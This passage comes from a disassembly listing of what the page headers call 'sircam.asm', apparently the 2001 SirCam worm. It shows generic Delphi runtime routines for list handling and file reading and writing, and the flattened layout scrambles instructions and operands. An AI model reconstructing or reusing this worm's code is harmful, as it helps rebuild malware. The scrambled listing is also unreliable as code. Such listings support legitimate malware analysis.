ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call sub_403008 loc_404AE9: ; CODE XREF: sub_404AA4+39\030j mov mov mov cmp jnz eax, [ebp+var_8] eax, [eax] [ebp+var_8], eax [ebp+var_8], 0 short loc_404ABE pop pop pop pop pop pop retn endp edi esi ebx ecx ecx ebp loc_404AF7: sub_404AA4 ; CODE XREF: sub_404AA4+18\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404B00 sub_404B00 proc near ; CODE XREF: sub_405A34+3E\031p mov edx, ds:dword_41C014 mov [eax], edx mov ds:dword_41C014, eax retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404B10 proc near var_4 = dword ptr -4 push mov push mov xor push push push mov mov mov call xor pop pop ; CODE XREF: sub_403390+A6\030p ebp ebp, esp ecx [ebp+var_4], eax edx, edx ebp offset loc_404B74 dword ptr fs:[edx] fs:[edx], esp eax, [ebp+var_4] eax, [eax+4] sub_404AA4 eax, eax edx ecx sircam.asm Fri Aug 10 12:42:44 2001 pop mov push 127 ecx fs:[eax], edx offset loc_404B7B loc_404B3D: ; CODE XREF: CODE:00404B79\031j mov eax, [ebp+var_4] cmp eax, ds:dword_41C014 jnz short loc_404B54 mov eax, [ebp+var_4] mov eax, [eax] mov ds:dword_41C014, eax jmp short locret_404B73 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404B54: mov test jz ; CODE XREF: sub_404B10+36\030j eax, ds:dword_41C014 eax, eax short locret_404B73 loc_404B5D: ; CODE XREF: sub_404B10+61\031j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_404B6D mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short locret_404B73 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404B6D: ; CODE XREF: sub_404B10+52\030j mov test jnz eax, [eax] eax, eax short loc_404B5D locret_404B73: sub_404B10 ; CODE XREF: sub_404B10+42\030j ; sub_404B10+4B\030j ... retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404B74: ; DATA XREF: sub_404B10+A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_404B3D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404B7B: ; DATA XREF: sub_404B10+28\030o pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404B80 proc near var_400 = byte ptr -400h push push add mov mov test jz cmp ; CODE XREF: sub_4032D0+E\030p ; sub_406CD4+23\031p ... ebx esi esp, 0FFFFFC00h esi, edx ebx, eax ebx, ebx short loc_404BCD dword ptr [ebx+4], 10000h sircam.asm Fri Aug 10 12:42:44 2001 128 jge short loc_404BC3 push 400h lea eax, [esp+404h+var_400] push eax mov eax, [ebx+4] push eax mov eax, [ebx] mov eax, [eax] call sub_404638 push eax call j_LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_4035B0 jmp short loc_404BCD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404BC3: ; CODE XREF: sub_404B80+17\030j mov mov call eax, esi edx, [ebx+4] sub_403680 loc_404BCD: sub_404B80 ; CODE XREF: sub_404B80+E\030j ; sub_404B80+41\030j add pop pop retn endp esp, 400h esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404BD8 proc near ; CODE XREF: sub_403BE8+C9\030p mov edx, [eax] test edx, edx jz short locret_404BEC mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_404BEC: sub_404BD8 ; CODE XREF: sub_404BD8+4\030j retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404BF0 proc near mov mov test jz push push mov call pop ; CODE XREF: sub_403CDC+DC\030p ; sub_403DF8+C7\030p ... ecx, [eax] [eax], edx edx, edx short loc_404C00 ecx edx eax, [edx] dword ptr [eax+4] ecx sircam.asm Fri Aug 10 12:42:44 2001 loc_404C00: test jz push mov call ; CODE XREF: sub_404BF0+6\030j ecx, ecx short locret_404C0A ecx eax, [ecx] dword ptr [eax+8] locret_404C0A: sub_404BF0 129 ; CODE XREF: sub_404BF0+12\030j retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 4 loc_404C14: xor mov mov push lea push push push push call test jz ; DATA XREF: CODE:00404CB7\031o edx, edx [eax+10h], edx [eax+0Ch], edx edx edx, [eax+10h] edx dword ptr [eax+8] dword ptr [eax+14h] dword ptr [eax] j_ReadFile eax, eax short loc_404C35 loc_404C32: ; CODE XREF: CODE:00404C3D\031j xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C35: ; CODE XREF: CODE:00404C30\030j call j_GetLastError cmp eax, 6Dh jz short loc_404C32 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C40: ; DATA XREF: CODE:00404CEE\031o ; CODE:00404DAD\031o xor eax, eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C43: ; DATA XREF: CODE:00404CE0\031o ; CODE:00404DE8\031o push mov test jle xor mov push lea push push push push call test jz ecx edx, [eax+0Ch] edx, edx short loc_404C65 ecx, ecx [eax+0Ch], ecx ecx ecx, [esp+4] ecx edx dword ptr [eax+14h] dword ptr [eax] j_WriteFile eax, eax short loc_404C69 xor eax, eax loc_404C65: loc_404C67: ; CODE XREF: CODE:00404C49\030j ; CODE XREF: CODE:00404C6E\031j sircam.asm Fri Aug 10 12:42:44 2001 130 pop ecx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C69: ; CODE XREF: CODE:00404C63\030j call j_GetLastError jmp short loc_404C67 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C70: ; DATA XREF: CODE:00404CE7\031o push dword ptr [eax] mov dword ptr [eax+4], 0D7B0h call j_CloseHandle dec eax jnz short loc_404C82 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C82: ; CODE XREF: CODE:00404C7F\030j call j_GetLastError retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404C88: ; DATA XREF: sub_404E16+21\031o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov eax, [esi+4] sub eax, 0D7B1h jz short loc_404CA8 dec eax jz short loc_404CC0 dec eax jz short loc_404CD1 jmp loc_404DF1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404CA8: ; CODE XREF: CODE:00404C9B\030j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset loc_404C14 jmp short loc_404CE7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404CC0: ; CODE XREF: CODE:00404C9E\030j mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_404CE0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404CD1: ; CODE XREF: CODE:00404CA1\030j mov mov mov eax, 0C0000000h edx, 1 ecx, 3 mov ; CODE XREF: CODE:00404CCF\030j dword ptr [esi+1Ch], offset loc_404C43 mov mov cmp jz push push push ; CODE XREF: CODE:00404CBE\030j dword ptr [esi+24h], offset loc_404C70 dword ptr [esi+20h], offset loc_404C40 byte ptr [esi+48h], 0 loc_404DAD 0 80h ecx loc_404CE0: loc_404CE7: sircam.asm Fri Aug 10 12:42:44 2001 push push push lea push call cmp jz mov cmp jnz dec push push call inc jz sub jnb xor 0 edx eax eax, [esi+48h] eax j_CreateFileA eax, 0FFFFFFFFh loc_404E08 [esi], eax dword ptr [esi+4], 0D7B3h loc_404DCF dword ptr [esi+4] 0 dword ptr [esi] j_GetFileSize eax loc_404E08 eax, 81h short loc_404D48 eax, eax push push push push call inc jz push mov push push push lea push push call pop dec jnz xor 0 0 eax dword ptr [esi] j_SetFilePointer eax loc_404E08 0 edx, esp 0 edx 80h edx, [esi+14Ch] edx dword ptr [esi] j_ReadFile edx eax loc_404E08 eax, eax 131 loc_404D48: ; CODE XREF: CODE:00404D44\030j loc_404D7F: ; CODE XREF: CODE:00404D8E\031j cmp eax, edx jnb short loc_404DCF cmp byte ptr [esi+eax+14Ch], 1Ah jz short loc_404D90 inc eax jmp short loc_404D7F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404D90: ; CODE XREF: CODE:00404D8B\030j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call j_SetFilePointer inc eax jz short loc_404E08 push dword ptr [esi] call j_SetEndOfFile dec eax jnz short loc_404E08 jmp short loc_404DCF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404DAD: mov ; CODE XREF: CODE:00404CF9\030j dword ptr [esi+24h], offset loc_404C40 sircam.asm Fri Aug 10 12:42:44 2001 132 cmp dword ptr [esi+4], 0D7B2h jz short loc_404DC1 push 0FFFFFFF6h jmp short loc_404DC3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404DC1: ; CODE XREF: CODE:00404DBB\030j push 0FFFFFFF5h call cmp jz mov j_GetStdHandle eax, 0FFFFFFFFh short loc_404E08 [esi], eax cmp jz push call test jz cmp jnz mov ; CODE XREF: CODE:00404D26\030j ; CODE:00404D81\030j ... dword ptr [esi+4], 0D7B1h short loc_404DEF dword ptr [esi] j_GetFileType eax, eax short loc_404DF3 eax, 2 short loc_404DEF dword ptr [esi+20h], offset loc_404C43 loc_404DC3: ; CODE XREF: CODE:00404DBF\030j loc_404DCF: loc_404DEF: ; CODE XREF: CODE:00404DD6\030j ; CODE:00404DE6\030j xor eax, eax loc_404DF1: ; CODE XREF: CODE:00404CA3\030j ; CODE:00404E06\031j ... pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404DF3: ; CODE XREF: CODE:00404DE1\030j push dword ptr [esi] call j_CloseHandle mov dword ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_404DF1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404E08: mov call jmp ; CODE XREF: CODE:00404D17\030j ; CODE:00404D39\030j ... dword ptr [esi+4], 0D7B0h j_GetLastError short loc_404DF1 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404E16 proc near lea mov xor mov mov mov mov mov mov mov mov mov lea test ; CODE XREF: sub_405880+A8\031p ; sub_405880+B7\031p ... ecx, [eax+14Ch] [eax+14h], ecx ecx, ecx [eax], ecx dword ptr [eax+4], 0D7B0h dword ptr [eax+8], 80h [eax+0Ch], ecx [eax+10h], ecx dword ptr [eax+18h], offset loc_404C88 [eax+1Ch], ecx [eax+20h], ecx [eax+24h], ecx eax, [eax+48h] edx, edx sircam.asm Fri Aug 10 12:42:44 2001 jz mov short loc_404E69 ch, 82h mov inc mov inc test jz mov inc mov inc test jz dec jnz dec ; CODE XREF: sub_404E16+50\031j cl, [edx] edx [eax], cl eax cl, cl short locret_404E6B cl, [edx] edx [eax], cl eax cl, cl short locret_404E6B ch short loc_404E50 eax mov [eax], ch loc_404E50: loc_404E69: ; CODE XREF: sub_404E16+36\030j locret_404E6B: sub_404E16 133 ; CODE XREF: sub_404E16+42\030j ; sub_404E16+4C\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov edx, [eax+4] cmp edx, 0D7B2h jnz short loc_404E7F call dword ptr [eax+1Ch] test eax, eax jnz short loc_404E8C locret_404E7E: ; CODE XREF: CODE:00404E85\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404E7F: cmp jz mov ; CODE XREF: CODE:00404E75\030j edx, 0D7B1h short locret_404E7E eax, 67h loc_404E8C: ; CODE XREF: CODE:00404E7C\030j jmp sub_40267C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404E91: mov cmp jnz call test jnz ; CODE XREF: sub_40520F+F\031j edx, [eax+4] edx, 0D7B2h short loc_404EA4 dword ptr [eax+20h] eax, eax short loc_404EB1 locret_404EA3: ; CODE XREF: CODE:00404EAA\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404EA4: cmp jz mov loc_404EB1: ; CODE XREF: CODE:00404E9A\030j edx, 0D7B1h short locret_404EA3 eax, 67h ; CODE XREF: CODE:00404EA1\030j jmp sub_40267C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 134 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404EB8 proc near arg_0 = dword ptr push push mov mov mov sub cmp ja push push mov push push mov mul push push push call dec pop pop jnz xor div mov test jz mov ; CODE XREF: sub_416478+23C\031p ; sub_416478+283\031p ... 0Ch ebx esi ebx, eax esi, edx edx, [ebx+4] edx, 0D7B1h edx, 2 short loc_404F14 ecx 0 eax, esp 0 eax eax, [ebx+8] ecx eax esi dword ptr [ebx] j_ReadFile eax eax ecx short loc_404F06 edx, edx dword ptr [ebx+8] edx, [esp+arg_0] edx, edx short loc_404EFB [edx], eax loc_404EF6: ; CODE XREF: sub_404EB8+45\031j ; sub_404EB8+5A\031j pop esi pop ebx retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404EFB: ; CODE XREF: sub_404EB8+3A\030j cmp eax, ecx jz short loc_404EF6 mov eax, 64h jmp short loc_404F0B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404F06: ; CODE XREF: sub_404EB8+2D\030j call j_GetLastError loc_404F0B: ; CODE XREF: sub_404EB8+4C\030j ; sub_404EB8+61\031j call sub_40267C xor eax, eax jmp short loc_404EF6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404F14: sub_404EB8 ; CODE XREF: sub_404EB8+12\030j mov jmp endp eax, 67h short loc_404F0B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 135 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404F1C proc near arg_0 = dword ptr push push mov mov mov sub cmp ja push push mov push push mov mul push push push call dec pop pop jnz xor div mov test jz mov ; CODE XREF: sub_416478+303\031p ; sub_416478+339\031p ... 0Ch ebx esi ebx, eax esi, edx eax, [eax+4] eax, 0D7B2h eax, 1 short loc_404F77 ecx 0 eax, esp 0 eax eax, [ebx+8] ecx eax esi dword ptr [ebx] j_WriteFile eax eax ecx short loc_404F69 edx, edx dword ptr [ebx+8] edx, [esp+arg_0] edx, edx short loc_404F5E [edx], eax loc_404F59: ; CODE XREF: sub_404F1C+44\031j ; sub_404F1C+59\031j pop esi pop ebx retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404F5E: ; CODE XREF: sub_404F1C+39\030j cmp eax, ecx jz short loc_404F59 mov eax, 65h jmp short loc_404F6E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404F69: ; CODE XREF: sub_404F1C+2C\030j call j_GetLastError loc_404F6E: ; CODE XREF: sub_404F1C+4B\030j ; sub_404F1C+60\031j call sub_40267C xor eax, eax jmp short loc_404F59 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404F77: sub_404F1C ; CODE XREF: sub_404F1C+11\030j mov jmp endp eax, 67h short loc_404F6E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 136 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404F80 proc near ; CODE XREF: CODE:00404FD2\031p ; sub_405818+1E\031p ... push mov mov sub jz cmp ja call test jnz mov ebx ebx, eax edx, [eax+4] edx, 0D7B1h short loc_404F9C edx, 2 short loc_404FAC dword ptr [eax+1Ch] eax, eax short loc_404FA5 eax, ebx call test jnz ; CODE XREF: sub_404F80+C\030j dword ptr [ebx+24h] eax, eax short loc_404FA5 loc_404F9C: loc_404FA3: ; CODE XREF: sub_404F80+2A\031j ; sub_404F80+31\031j pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404FA5: ; CODE XREF: sub_404F80+18\030j ; sub_404F80+21\030j ... call sub_40267C jmp short loc_404FA3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404FAC: sub_404F80 cmp jz mov jmp endp ; CODE XREF: sub_404F80+11\030j eax, offset unk_41E048 short loc_404FA3 eax, 67h short loc_404FA5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_404FBC: ; CODE XREF: CODE:00404FFC\031j ; sub_404FFE+5\031j ... push push mov mov mov sub jz cmp ja call ebx esi esi, eax ebx, edx edx, [esi+4] edx, 0D7B0h short loc_404FD7 edx, 3 short loc_404FEB sub_404F80 mov mov call test jz call ; CODE XREF: CODE:00404FCB\030j eax, esi [esi+4], ebx dword ptr [esi+18h] eax, eax short loc_404FE8 sub_40267C loc_404FD7: 